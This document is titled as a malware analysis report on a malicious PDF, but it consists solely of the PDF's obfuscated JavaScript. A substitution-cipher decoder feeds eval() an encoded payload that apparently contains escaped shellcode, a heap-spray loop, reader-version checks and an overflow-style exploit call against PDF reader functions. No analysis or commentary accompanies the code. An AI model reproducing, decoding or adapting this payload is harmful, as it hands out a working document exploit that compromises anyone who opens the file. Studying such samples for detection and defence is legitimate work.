Malicious PDF — malware analysis report

function txTrMAMwHQp(txTrMAMwHQp,ZvqG79ZG7iFrLGKcS) {var AxSAYmxG5jNTU3yw=txTrMAMwHQp. substr (ZvqG79ZG7iFrLGKcS, 1);return AxSAYmxG5jNTU3yw;}/*ZYESKQN1n2qNcZHQr|oU4uQe|ky2Yknx9sFJ8TAlLqyoG*/function AFAwGoPqG280(qzCI4eRAdM9l4hqN0IE5) {/*AyDiI7TYbR8PJX0xKzf|AdkAEvr3Z|zUl22u0LJRdHhnfXa*/var AByFs47 = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*N56NZhNeS4YsrNC[G4D6GMNjU]NzJnfXjck99xdSr1A*//*FCsL7vHD7Vn|G0HQennEG|DGAgYsYZ*/var v7Xl9fgdwg79fi4 /*dbzoZl[cjHG1O79ebnHftVi0]FPEdoL6GBl*/= new String("a36rH5gb){>Lx9<C7icpXmQtnOqKjIBEwTkZ,yz42l}PUu0VfosvFReDY1A 8NGMJSh.d(W");/*mX8MfEEuBDOdq|AashREmgIG|UCRVow8*/for(OH3XM=0;OH3XM<AByFs47.length;OH3XM++) {if(qzCI4eRAdM9l4hqN0IE5 == txTrMAMwHQp(v7Xl9fgdwg79fi4, OH3XM)) {/*vKizO[AShU93Tal]rpcOyiZIlrdQecTPn1*/return txTrMAMwHQp(AByFs47, OH3XM);/*AJ6KqR <kkkMaS1]hqc6yEoSUIunYXfdPoa*/}}return qzCI4eRAdM9l4hqN0IE5;}/*Vrk5RLHre9l[pD8eH]wcvhGJ5lnLPDll*//*MgBYnt2mV3SZ1whej|PGGYBrCM7FyizAF1YslR|AKoWCa3gA2*/var AB5LtHM = new String;var ATMjGlUwsSwHYupec1km = new String("\r\nYZFgIMssxOeVnDxAtQkyg=gf41g{FFZ 6r;\r\nYZFguo1ThQKP<pGJJ2K1;\r\n2DfyePofgkiVDU2}WZYd i2,}6 wCkDP7{Jix.AlM4)gpokPj7vhL1SBy4L(rH\r\ngg1}P04g6 wCkDP7{Jix.AlM4b04fle}g*gMgagpokPj7vhL1SBy4L(rH\r\ngggg wCkDP7{Jix.AlM4g+=g wCkDP7{Jix.AlM4;\r\ngg5\r\ngg wCkDP7{Jix.AlM4g=g wCkDP7{Jix.AlM4bRD,ReFPfl6N)gpokPj7vhL1SBy4L(g/gMr;\r\nggF4eDFfg wCkDP7{Jix.AlM4;\r\n5\r\n2DfyePofg7Kld>A7x<Icx{pRN6CKFyU}l14uq7t4tZrH\r\nggYZFgR.}iJ EijsEz{tVcg=gNANyNyNyNy;\r\nggYZFgoz1ZXzwGQ 70ylmug=gDf4RyZs46\"%DSJSJ%DSJSJ%DSJSJ%DN<9>%DJJh>%D..LW%D(N>W%D(NNG%D9<JJ%D9MSJ%D9><{%D9(Nh%D<<9L%D<<<<%D(>d<%Dx<S9%D9<9<%D.S9<%D9J{<%DW<.S%DSM<J%DW<.S%D.99d%D9<NJ%D9<9>%D.S9<%D>WNJ%D.G(d%D9G{G%DNdNJ%D9<GG%D9<9<%D{{..%D>W9>%Ddd(d%D.hGG%DNd9G%D9<G<%D9<9<%D{{..%D>W9d%DL{(d%DGNh<%DNdMx%D9<Nx%D9<9<%D{{..%D>W9J%DNN(d%DN<MG%DNd(<%D9<J>%D9<9<%D{{..%D>W<<%DM9(d%DN{W.%DNdhd%D9<MW%D9<9<%D{{..%D{<<>%Dxd.<%DW{ML%D..Gh%D<d{{%D9(N.%D9<99%D>G9<%DW{..%D.SL>%D9>{{%D99(h%D.S>.%D<d>{%DNd>W%D9<.S%D9<9<%D(d><%D<hxW%DW<LN%Dd(Nd%D9<9<%D..9<%D<J{{%DM{.S%DM<.L%D..><%DL<{{%DGN(d%D9<9<%D><9<%D{{.S%D(h<>%D>.9x%D>{.S%DNd<d%D9<(9%D9<9<%D{{9L%DM(L<%D>J9<%DLGWG%DM(({%D9>{<%D({Wd%D9<9<%DW{GN%D.SL<%D9J{{%D99(h%D.S>.%D<d>{%D{<Nd%D9<9<%D(h9<%D>d9(%D{{9L%DxLL>%D>LJS%DGN>L%DL<W{%D>L><%D{{.S%D(h<J%D>.9{%D>{.S%DNd<d%D9<LL%D9<9<%D9<(h%DW{GN%D.SL<%D9d{{%D9x(h%D.S>.%D<d>{%D<<Nd%D9<9<%D(h9<%D.SGN%D<<{{%D99(h%D.S>.%D<d>{%D9<Nd%D9<9<%D{99<%D>x>S%DN99L%DN99L%DN99L%DN99L%DNJ.L%D>h9>%D.S>L%DNxJh%D>xG(%DN<GN%D.S>{%D.SNJ%D9dWM%D>M.S%D>W9J%DWL.S%D.SxJ%D<GW>%D9LWd%D>WGL%DWW.S%D9LL<%DxLGL%D{.M.%DSM{9%DML9L%DxL>W%D9NGW%D<<hG%DGxxh%D9dW>%DMGM9%D9L9M%D{<Gx%DG9NS%DGGxS%DW{>G%D>hN{%DNS.S%D>h.S%D9LL>%D(WJM%D9J.S%D.S{S%D<J>h%DJM9L%D9>.S%D9L.S%D>GM{%DMx>M%D9<9d%DG>Nd%DGNGG%D>{GN%D{J>x%D{N{M%D9<{G%DdS.(%DdNdS%DM<J{%D.LM<%Dd..W%D.9.W%DdN.d%D.G.h%D.h.J%Dd{M9%DM9.G%DdM.<%DM<.d%D.x.W%DM<.d%D.x.W%DM<.d%D.<.L%D.S.G%DdNM9%DdN.(%D.WJ<%DJx.S%DJJJW\"r;\r\nggP2g6CKFyU}l14uq7t4tZg==gGrH\r\nggggR.}iJ EijsEz{tVcg=gNAJNJNJNJN;\r\nggggoz1ZXzwGQ 70ylmug=gDf4RyZs46\"%DSJSJ%DSJSJ%DSJSJ%DN<9>%DJJh>%D..LW%D(N>W%D(NNG%D9<JJ%D9MSJ%D9><{%D9(Nh%D<<9L%D<<<<%D(>d<%Dx<S9%D9<9<%D.S9<%D9J{<%DW<.S%DSM<J%DW<.S%D.99d%D9<NJ%D9<9>%D.S9<%D>WNJ%D.G(d%D9G{G%DNdNJ%D9<GG%D9<9<%D{{..%D>W9>%Ddd(d%D.hGG%DNd9G%D9<G<%D9<9<%D{{..%D>W9d%DL{(d%DGNh<%DNdMx%D9<Nx%D9<9<%D{{..%D>W9J%DNN(d%DN<MG%DNd(<%D9<J>%D9<9<%D{{..%D>W<<%DM9(d%DN{W.%DNdhd%D9<MW%D9<9<%D{{..%D{<<>%Dxd.<%DW{ML%D..Gh%D<d{{%D9(N.%D9<99%D>G9<%DW{..%D.SL>%D9>{{%D99(h%D.S>.%D<d>{%DNd>W%D9<.S%D9<9<%D(d><%D<hxW%DW<LN%Dd(Nd%D9<9<%D..9<%D<J{{%DM{.S%DM<.L%D..><%DL<{{%DGN(d%D9<9<%D><9<%D{{.S%D(h<>%D>.9x%D>{.S%DNd<d%D9<(9%D9<9<%D{{9L%DM(L<%D>J9<%DLGWG%DM(({%D9>{<%D({Wd%D9<9<%DW{GN%D.SL<%D9J{{%D99(h%D.S>.%D<d>{%D{<Nd%D9<9<%D(h9<%D>d9(%D{{9L%DxLL>%D>LJS%DGN>L%DL<W{%D>L><%D{{.S%D(h<J%D>.9{%D>{.S%DNd<d%D9<LL%D9<9<%D9<(h%DW{GN%D.SL<%D9d{{%D9x(h%D.S>.%D<d>{%D<<Nd%D9<9<%D(h9<%D.SGN%D<<{{%D99(h%D.S>.%D<d>{%D9<Nd%D9<9<%D{99<%D>x>S%DN99L%DN99L%DN99L%DN99L%DNJ.L%D>h9>%D.S>L%DNxJh%D>xG(%DN<GN%D.S>{%D.SNJ%D9dWM%D>M.S%D>W9J%DWL.S%D.SxJ%D<GW>%D9LWd%D>WGL%DWW.S%D9LL<%DxLGL%D{.M.%DSM{9%DML9L%DxL>W%D9NGW%D<<hG%DGxxh%D9dW>%DMGM9%D9L9M%D{<Gx%DG9NS%DGGxS%DW{>G%D>hN{%DNS.S%D>h.S%D9LL>%D(WJM%D9J.S%D.S{S%D<J>h%DJM9L%D9>.S%D9L.S%D>GM{%DMx>M%D9<9d%DG>Nd%DGNGG%D>{GN%D{J>x%D{N{M%D9<{G%DdS.(%DdNdS%DM<J{%D.LM<%Dd..W%D.9.W%DdN.d%D.G.h%D.h.J%Dd{M9%DM9.G%DdM.<%DM<.d%D.x.W%DM<.d%D.x.W%DM<.d%D.<.L%D.S.G%DdNM9%DdN.(%D.WJ<%DJx.S%DJJJW\"r;\r\ngg5\r\ngg40R4gP2g6CKFyU}l14uq7t4tZg==gMrH\r\nggggoz1ZXzwGQ 70ylmug=gDf4RyZs46\"%DSJSJ%DSJSJ%DSJSJ%DN<9>%DJJh>%D..LW%D(N>W%D(NNG%D9<JJ%D9MSJ%D9><{%D9(Nh%D<<9L%D<<<<%D(>d<%Dx<S9%D9<9<%D.S9<%D9J{<%DW<.S%DSM<J%DW<.S%D.99d%D9<NJ%D9<9>%D.S9<%D>WNJ%D.G(d%D9G{G%DNdNJ%D9<GG%D9<9<%D{{..%D>W9>%Ddd(d%D.hGG%DNd9G%D9<G<%D9<9<%D{{..%D>W9d%DL{(d%DGNh<%DNdMx%D9<Nx%D9<9<%D{{..%D>W9J%DNN(d%DN<MG%DNd(<%D9<J>%D9<9<%D{{..%D>W<<%DM9(d%DN{W.%DNdhd%D9<MW%D9<9<%D{{..%D{<<>%Dxd.<%DW{ML%D..Gh%D<d{{%D9(N.%D9<99%D>G9<%DW{..%D.SL>%D9>{{%D99(h%D.S>.%D<d>{%DNd>W%D9<.S%D9<9<%D(d><%D<hxW%DW<LN%Dd(Nd%D9<9<%D..9<%D<J{{%DM{.S%DM<.L%D..><%DL<{{%DGN(d%D9<9<%D><9<%D{{.S%D(h<>%D>.9x%D>{.S%DNd<d%D9<(9%D9<9<%D{{9L%DM(L<%D>J9<%DLGWG%DM(({%D9>{<%D({Wd%D9<9<%DW{GN%D.SL<%D9J{{%D99(h%D.S>.%D<d>{%D{<Nd%D9<9<%D(h9<%D>d9(%D{{9L%DxLL>%D>LJS%DGN>L%DL<W{%D>L><%D{{.S%D(h<J%D>.9{%D>{.S%DNd<d%D9<LL%D9<9<%D9<(h%DW{GN%D.SL<%D9d{{%D9x(h%D.S>.%D<d>{%D<<Nd%D9<9<%D(h9<%D.SGN%D<<{{%D99(h%D.S>.%D<d>{%D9<Nd%D9<9<%D{99<%D>x>S%DN99L%DN99L%DN99L%DN99L%DNJ.L%D>h9>%D.S>L%DNxJh%D>xG(%DN<GN%D.S>{%D.SNJ%D9dWM%D>M.S%D>W9J%DWL.S%D.SxJ%D<GW>%D9LWd%D>WGL%DWW.S%D9LL<%DxLGL%D{.M.%DSM{9%DML9L%DxL>W%D9NGW%D<<hG%DGxxh%D9dW>%DMGM9%D9L9M%D{<Gx%DG9NS%DGGxS%DW{>G%D>hN{%DNS.S%D>h.S%D9LL>%D(WJM%D9J.S%D.S{S%D<J>h%DJM9L%D9>.S%D9L.S%D>GM{%DMx>M%D9<9d%DG>Nd%DGNGG%D>{GN%D{J>x%D{N{M%D9<{G%DdS.(%DdNdS%DM<J{%D.LM<%Dd..W%D.9.W%DdN.d%D.G.h%D.h.J%Dd{M9%DM9.G%DdM.<%DM<.d%D.x.W%DM<.d%D.x.W%DM<.d%D.<.L%D.S.G%DdNM9%DdN.(%D.WJ<%DJx.S%DJJJW\"r;\r\ngg5\r\nggYZFgzSJoJT(BtzWTJYFDg=gNASNNNNN;\r\nggYZFg8fIDOMYfGxkzeYQ2g=goz1ZXzwGQ 70ylmub04fle}g*gM;\r\nggYZFgpokPj7vhL1SBy4L(g=gzSJoJT(BtzWTJYFDg-g68fIDOMYfGxkzeYQ2g+gNAJ(r;\r\nggYZFg wCkDP7{Jix.AlM4g=gDf4RyZs46\"%DWNWN%DWNWN\"r;\r\ngg wCkDP7{Jix.AlM4g=gkiVDU2}WZYd i2,}6 wCkDP7{Jix.AlM4)gpokPj7vhL1SBy4L(r;\r\nggYZFg4OIM8ywQClYc,fx{g=g6R.}iJ EijsEz{tVcg-gNASNNNNNrg/gzSJoJT(BtzWTJYFD;\r\ngg2oFg6YZFgpP.MuGsuxtt(p0fcg=gN;gpP.MuGsuxtt(p0fcgag4OIM8ywQClYc,fx{;gpP.MuGsuxtt(p0fcg++grH\r\nggggIMssxOeVnDxAtQky[pP.MuGsuxtt(p0fc]g=g wCkDP7{Jix.AlM4g+goz1ZXzwGQ 70ylmu;\r\ngg5\r\n5\r\n2DfyePofgEiX>DRT>kII{7PXR6rH\r\nggYZFgDqe{KUYl(cfK.,V7g=gN;\r\nggYZFgy(KoGM8kBjuf>d2yg=gZssbYP414FB4FRPofbeoKeFPfl6r;\r\nggZssby04ZFjPV4tDe6uo1ThQKP<pGJJ2K1r;\r\n\r\nggP2g6y(KoGM8kBjuf>d2ygagdbGrH\r\ngggg7Kld>A7x<Icx{pRN6Nr;\r\nggggYZFgokVGiPlOMjRd.4t g=gDf4RyZs46\"%DNyNy%DNyNy\"r;\r\ngggg1}P04g6okVGiPlOMjRd.4t b04fle}gagSSWhMrokVGiPlOMjRd.4t g+=gokVGiPlOMjRd.4t ;\r\ngggge}PRgbyo00Z,KeoF4g=gLo00Z,byo004ye9VZP0if2o6H\r\nggggggRD,Ug:g\"\")gVRlg:gokVGiPlOMjRd.4t \r\ngggg5\r\nggggr;\r\ngg5\r\nP2g6y(KoGM8kBjuf>d2yg3=gWrH\r\nggggeF gH\r\nP2g6ZssbzoybLo00Z,bl4eiyofrH\r\ngggggggg7Kld>A7x<Icx{pRN6Mr;\r\nggggggggYZFgBvVVR0mQ<({qxvS0g=gDf4RyZs46\"%NW\"r;\r\ngggggggg1}P04g6BvVVR0mQ<({qxvS0b04fle}gagNASNNNrBvVVR0mQ<({qxvS0g+=gBvVVR0mQ<({qxvS0;\r\nggggggggBvVVR0mQ<({qxvS0g=g\"Qb\"g+gBvVVR0mQ<({qxvS0;\r\nZssbzoybLo00Z,bl4eiyof6BvVVR0mQ<({qxvS0r;\r\nggggggggDqe{KUYl(cfK.,V7g=gG;\r\ngggggg5\r\ngggggg40R4gH\r\nggggggggDqe{KUYl(cfK.,V7g=gG;\r\ngggggg5\r\ngggg5\r\nggggyZey}g64rH\r\nggggggDqe{KUYl(cfK.,V7g=gG;\r\ngggg5\r\nggggP2g6Dqe{KUYl(cfK.,V7g==gGrH\r\nggggggP2g66y(KoGM8kBjuf>d2yg3=gdbG&&gy(KoGM8kBjuf>d2ygagWrrH\r\ngggggggg7Kld>A7x<Icx{pRN6Gr;\r\nggggggggYZFg1v0}TKWZ1GlM2h8qg=g\"GMWWWWWWWWWWWWWWWWWW\";\r\ngggggggg2oFg6iV9fw,>fPm<1LiPyg=gN;giV9fw,>fPm<1LiPygagMd.;giV9fw,>fPm<1LiPyg++grH\r\ngggggggggg1v0}TKWZ1GlM2h8qg+=g\"(\";\r\ngggggggg5\r\nggggggggDeP0bsFPfe26\"%ShNNN2\")g1v0}TKWZ1GlM2h8qr;\r\ngggggg5\r\ngggg5\r\ngg5\r\n5\r\nZssbPjcP1KiRK8eWheZ8g=gEiX>DRT>kII{7PXR;\r\nuo1ThQKP<pGJJ2K1g=gZssbR4ejPV4tDe6\"ZssbPjcP1KiRK8eWheZ86r\")gGNr;\r\n");/*G9KHqMUoSINIJS9iA{zWiAA4CbxjbqVi}gqWtABBJOJTgJ1h*//*r4Ts5NuXBUzspXXLD|AEw6OAFhhOZF9GASy|fjSh3HPjfnviYpnKm1K*/for(AvL5rXoyjk=0;AvL5rXoyjk<ATMjGlUwsSwHYupec1km.length;AvL5rXoyjk++)AB5LtHM += AFAwGoPqG280(txTrMAMwHQp(ATMjGlUwsSwHYupec1km,AvL5rXoyjk));eval(AB5LtHM);/*Ys6yy54yOtttTCRN[gwpJhOh]Arzt2hIl*/